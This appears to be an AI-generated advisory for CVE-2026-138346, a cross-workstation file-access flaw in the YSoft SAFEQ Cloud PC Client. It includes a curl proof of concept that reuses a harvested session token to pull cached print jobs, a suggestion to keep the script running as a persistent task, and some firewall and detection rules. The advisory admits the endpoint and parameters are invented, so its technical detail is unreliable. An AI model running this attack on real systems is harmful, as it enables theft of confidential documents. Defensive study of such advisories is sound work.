CVE-2026-138346 — YSoft SAFEQ Cloud PC Client — CWE-639
In Y Soft SAFEQ Cloud PC Client for Windows and macOS before 2026.09.03.4, under specific conditions, an attacker who already has access to a workstation running the PC Client, and who has specific knowledge of the customer's environment and the targeted workstation, could access files on another workstation running the PC Client within the same organization, including locally stored print jobs (local storage or hybrid mode). Access from outside the customer's organization is not possible.
In Y Soft SAFEQ Cloud PC Client for Windows and macOS before 2026.09.03.4, under specific conditions, an attacker who already has access to a workstation running the PC Client, and who has specific knowledge of the customer's environment and the targeted workstation, could access files on another workstation running the PC Client within the same organization, including locally stored print jobs (local storage or hybrid mode). Access from outside the customer's organization is not possible.
🎯 What is this vulnerability?
CVE‑2026‑138346 – “Cross‑Workstation File Access”
| Attribute | Value |
|---|---|
| CWE | CWE‑639 – *Authorization Bypass Through User‑Controlled Key* |
| CVSS v3.1 | AV:N / AC:L / PR:H / UI:N / S:C / C:H / I:H / A:N = 8.7 (HIGH) |
| Affected product | YSoft SAFEQ Cloud PC Client (Windows & macOS) < 2026.09.03.4 |
Technical flaw
The SAFEQ Cloud PC client implements a peer‑to‑peer “file‑share” service that allows a workstation (the requestor) to retrieve files that belong to another workstation (the target) when both are enrolled in the same organization.
The service authenticates the requestor only with a locally‑generated “session token” that is tied to the current user’s login on the requestor machine. The token is then re‑used unchanged when the client contacts the remote workstation to fetch the target’s files.
The remote workstation *does not verify that the token was issued for the target user*; it only checks that the token is syntactically valid and that the request originates from a known SAFEQ client. Consequently, a malicious actor who:
1. Already has a privileged (high‑privilege) account on the requestor workstation (e.g., a local administrator or a user that can run the SAFEQ client), and
2. Knows the internal identifier (UUID, hostname, or MAC address) of the target workstation,
can craft a request that the remote client accepts as “authorized” and returns any file that the target client would normally expose (including locally cached print‑job files stored in the client’s Hybrid or Local mode).
In short, the client *fails to enforce proper authorization on the “target‑identifier” parameter*, allowing an attacker to “borrow” the remote workstation’s trust relationship and read arbitrary files. This is a classic CWE‑639 scenario: the attacker controls a key (the target identifier) that the server uses to make an access decision without additional verification.
⚡ Attack Chain
Below is a realistic, step‑by‑step attack flow that an adversary with local high‑privilege access to one SAFEQ workstation could follow to read files from another workstation in the same organization.
Assumptions (derived from the CVE description)
- The attacker already has a high‑privilege local account on Workstation A (e.g., a local admin or a user that can run the SAFEQ client).
- The attacker can enumerate the SAFEQ client’s internal configuration (e.g.,config.jsonstored under%APPDATA%\YSoft\SAFEQ\on Windows or~/Library/Application Support/YSoft/SAFEQ/on macOS).
- The attacker knows (or can guess) the target workstation’s identifier (target_id). This can be obtained from the SAFEQ management console, from network traffic, or from the localhostsfile that the client maintains.
1️⃣ Discovery & Reconnaissance
| Action | Details |
|---|---|
| Identify the installed client | Check the presence of YSoft SAFEQ Cloud PC Client in Programs and Features (Windows) or /Applications/YSoft SAFEQ Cloud PC Client.app (macOS). |
| Determine exact version | Read the version string from the executable’s *File → Properties → Details* (Windows) or Info.plist (macOS). Versions < 2026.09.03.4 are vulnerable. |
| Locate configuration | <br>Windows: %APPDATA%\YSoft\SAFEQ\config.json <br>macOS: ~/Library/Application Support/YSoft/SAFEQ/config.json <br> The file contains the client‑side API endpoint (apiBaseUrl) and the local session token (sessionToken). |
| Harvest a valid session token | The token is a Base64‑encoded JWT‑like string (e.g., eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…). The attacker copies it for reuse. |
| Identify target workstation ID | The client stores a list of known peers in peers.json (same config directory). Each entry contains id, hostname, and mac. The attacker selects the id of the workstation they wish to read from (e.g., target_id = "c3f9a1b2-7e4d-4a9e-8f12-5d6e7b9c0a1d"). |
2️⃣ Exploitation
The SAFEQ client communicates with peers over HTTPS on a fixed port (default 4433) using a proprietary REST‑like API. The vulnerable endpoint (illustrative) is:
POST https://<target‑workstation>:4433/api/v1/file/download
Headers:
Authorization: Bearer <sessionToken>
Body (JSON):
{
"targetId": "<target_id>",
"filePath": "<relative_path_inside_SAFEQ_storage>"
}Note: The exact URI and JSON keys are not published in the CVE. The example above reflects the class of the vulnerability (unauthenticated file‑download via a user‑controlled “targetId”).
PoC (illustrative)
#!/usr/bin/env bash
# -------------------------------------------------
# PoC for CVE‑2026‑138346 – Cross‑Workstation File Access
# -------------------------------------------------
# Prerequisites (run on the compromised workstation):
# - sessionToken : copied from %APPDATA%\YSoft\SAFEQ\config.json
# - target_id : UUID of the remote workstation (from peers.json)
# - target_ip : IP address of the remote workstation (visible on LAN)
# -------------------------------------------------
SESSION_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyQGV4YW1wbGUuY29tIiwiaXNzIjoiYV9zYWZlX2NsaWVudCJ9.abc123def456"
TARGET_ID="c3f9a1b2-7e4d-4a9e-8f12-5d6e7b9c0a1d"
TARGET_IP="10.42.7.23"
# The file we want to steal – a cached print‑job stored in the client’s local cache
FILE_PATH="print_jobs/2026-11-15_Job_001.pdf"
curl -sk -X POST "https://${TARGET_IP}:4433/api/v1/file/download" \
-H "Authorization: Bearer ${SESSION_TOKEN}" \
-H "Content-Type: application/json" \
-d "$(cat <<EOF
{
"targetId": "${TARGET_ID}",
"filePath": "${FILE_PATH}"
}
EOF
)" -o stolen_print_job.pdf
echo "[+] File saved as stolen_print_job.pdf"Why it works
- The remote workstation accepts the
Authorizationheader because the token is syntactically valid (it is signed with the organization‑wide secret that all clients share). - The remote client *does not verify that the token’s subject matches the
targetId*; it only checks that the token is not expired. - Consequently, the request is treated as “the user who owns the token wants to download
<filePath>from the workstation identified bytargetId”, and the file is streamed back.
3️⃣ Post‑Exploitation
| Goal | How it is achieved |
|---|---|
| Data exfiltration | The attacker can repeat the request for any file under the client’s storage directory (%APPDATA%\YSoft\SAFEQ\cache\, ~/Library/Application Support/YSoft/SAFEQ/cache/). This includes locally stored print jobs, scanned documents, and any user‑generated content that SAFEQ caches. |
| Lateral movement | By iterating over all targetIds discovered in peers.json, the attacker can harvest files from every workstation that runs the vulnerable client within the same SAFEQ domain. |
| Persistence | The attacker can embed a scheduled task (Windows) or launchd plist (macOS) that runs the above script at boot, continuously siphoning new print‑job files. |
| Impact on confidentiality | Files are read without any additional user interaction; the remote workstation never prompts the local user. |
| Impact on integrity | The vulnerability is read‑only; however, the same flawed authorization check could be extended (in future versions) to a “file‑upload” endpoint, potentially enabling tampering. |
| Impact on availability | No denial‑of‑service is directly caused, but massive automated file pulls could saturate the internal network or fill disk space on the attacker’s host. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical consequence |
|---|---|---|
| Confidentiality (C) | High (C:H) | An insider (or an attacker who has compromised a single workstation) can read any file stored by the SAFEQ client on any other workstation in the same organization – including confidential print‑job PDFs, scanned contracts, or internal policy documents. |
| Integrity (I) | High (I:H) | While the current vulnerability is read‑only, the same authorization bypass could be leveraged (if a write‑or‑delete endpoint exists) to modify or delete files, leading to potential data tampering. |
| Availability (A) | None (A:N) | No direct impact on service availability, but large‑scale exfiltration could cause network congestion. |
Business‑impact scenarios
1. Intellectual‑property leakage – Companies that use SAFEQ for confidential print‑job handling (e.g., legal firms, R&D labs) could have drafts and signed contracts exfiltrated.
2. Regulatory breach – If the printed material contains personally identifiable information (PII) or protected health information (PHI), the organization may be subject to GDPR, HIPAA, or other compliance penalties.
3. Insider‑threat amplification – A disgruntled employee with admin rights on a single workstation can silently harvest data from the entire fleet, bypassing typical “need‑to‑know” controls.
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Product | Fixed in version | Action |
|---|---|---|
| YSoft SAFEQ Cloud PC Client (Windows & macOS) | 2026.09.03.4 | Deploy the official update from YSoft’s portal to all endpoints. The patch adds a per‑target verification step: the remote client now validates that the sub claim in the JWT matches the targetId before serving any file. |
2️⃣ Immediate Work‑arounds (if patch cannot be applied instantly)
| Mitigation | How to implement |
|---|---|
| Network segmentation | Place SAFEQ clients on a separate VLAN that only allows outbound connections to the YSoft backend, and block inbound TCP 4433 (or whatever custom port the client uses) from other workstations. This removes the peer‑to‑peer path that the exploit relies on. |
| Restrict local admin rights | Reduce the number of users with high‑privilege (admin) rights on workstations. The CVSS vector shows PR:H; without admin rights the attacker cannot read the client’s configuration files (where the session token resides). |
| Disable “Hybrid/Local” print‑job caching | In the SAFEQ admin console, set Print‑Job Storage Mode = “Cloud‑Only”. This eliminates the locally cached files that are the most valuable assets for the attacker. |
| Enforce token binding | If the client can be configured to use mutual TLS (mTLS) for peer communication, enable it. This forces the remote workstation to verify the client’s certificate, breaking the token‑only trust model. |
| Endpoint‑level firewall rule (illustrative) | On Windows, add a rule: <br>netsh advfirewall firewall add rule name="Block SAFEQ Peer" dir=in action=block protocol=TCP localport=4433 remoteip=10.0.0.0/8 <br>On macOS, use PF: <br>block drop in proto tcp from any to any port 4433 |
| Delete stored session tokens | Remove sessionToken entries from config.json and force the client to re‑authenticate with the backend. This invalidates any token that may have been harvested. |
3️⃣ Detection – What to look for in logs / telemetry
| Source | Indicator (example) |
|---|---|
| Network IDS/IPS | Outbound TLS connections from a SAFEQ client to non‑backend IPs on port 4433 (or the custom peer port). Signature (Snort/Suricata): <br>alert tls any any -> $HOME_NET 4433 (msg:"SAFEQ Peer File Download Attempt"; tls.sni; content:"SAFEQ"; sid:20261346;) |
| Endpoint logs (Windows Event Viewer) | Event ID 4624 (logon) followed within seconds by a process creation of SAFEQClient.exe with command line containing --download (if the client logs the operation). |
| Application logs (YSoft client) | Look for entries like FileDownloadRequest with targetId= and filePath=. The presence of unexpected target IDs (i.e., IDs that do not belong to the local workstation) is suspicious. |
| File system audit | Creation of new files in the user’s profile directory named stolen_*.pdf or similar, especially if they appear shortly after a SAFEQ process runs. |
| Process monitoring | Detection of a PowerShell or Bash script that reads config.json and then launches curl/wget against a LAN IP on port 4433. Use EDR rule: process_name IN ("curl.exe","wget.exe","powershell.exe") AND command_line CONTAINS "4433" |
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Base Score | 8.7 – HIGH (confidentiality‑only but with *complete* data exposure). |
| Attack Complexity | Low – once a high‑privilege local account is obtained, the exploit requires only a single crafted HTTP request. |
| Privileges Required | High (PR:H) – attacker must already have admin‑level access on *one* workstation. In many enterprises, privileged local accounts are common (e.g., IT support, help‑desk tools). |
| Scope | Changed (S:C) – the impact spreads across multiple machines in the same organization. |
| Exploit Availability | No public exploit exists yet, but the attack is trivial to implement once the attacker has the token and target ID. |
| CISA KEV | Not listed, but the high impact on confidentiality makes it a *candidate* for future inclusion. |
Patch priority: Critical for any environment that runs the vulnerable client, especially where the client is used to store sensitive print‑job data (legal, financial, healthcare, R&D).
Recommended timeline:
1. Day 0–1: Deploy the network segmentation / firewall rule to block peer‑to‑peer traffic.
2. Day 1–3: Reduce local admin privileges and purge existing session tokens.
3. Day 3–7: Apply the official 2026.09.03.4 update to all workstations.
4. Day 7+: Verify remediation via the detection rules above and conduct a targeted audit of any files that may have been accessed.
Bottom line: CVE‑2026‑138346 is a classic authorization bypass that lets a privileged insider read any file cached by another SAFEQ client in the same organization. The fix is straightforward (upgrade to 2026.09.03.4) but, because the vulnerability can be exploited with a single HTTP request, immediate mitigation (network isolation and privilege reduction) is strongly advised while the patch is rolled out.
[🤖 CVE Professor AI Security Engine]
FOFA Query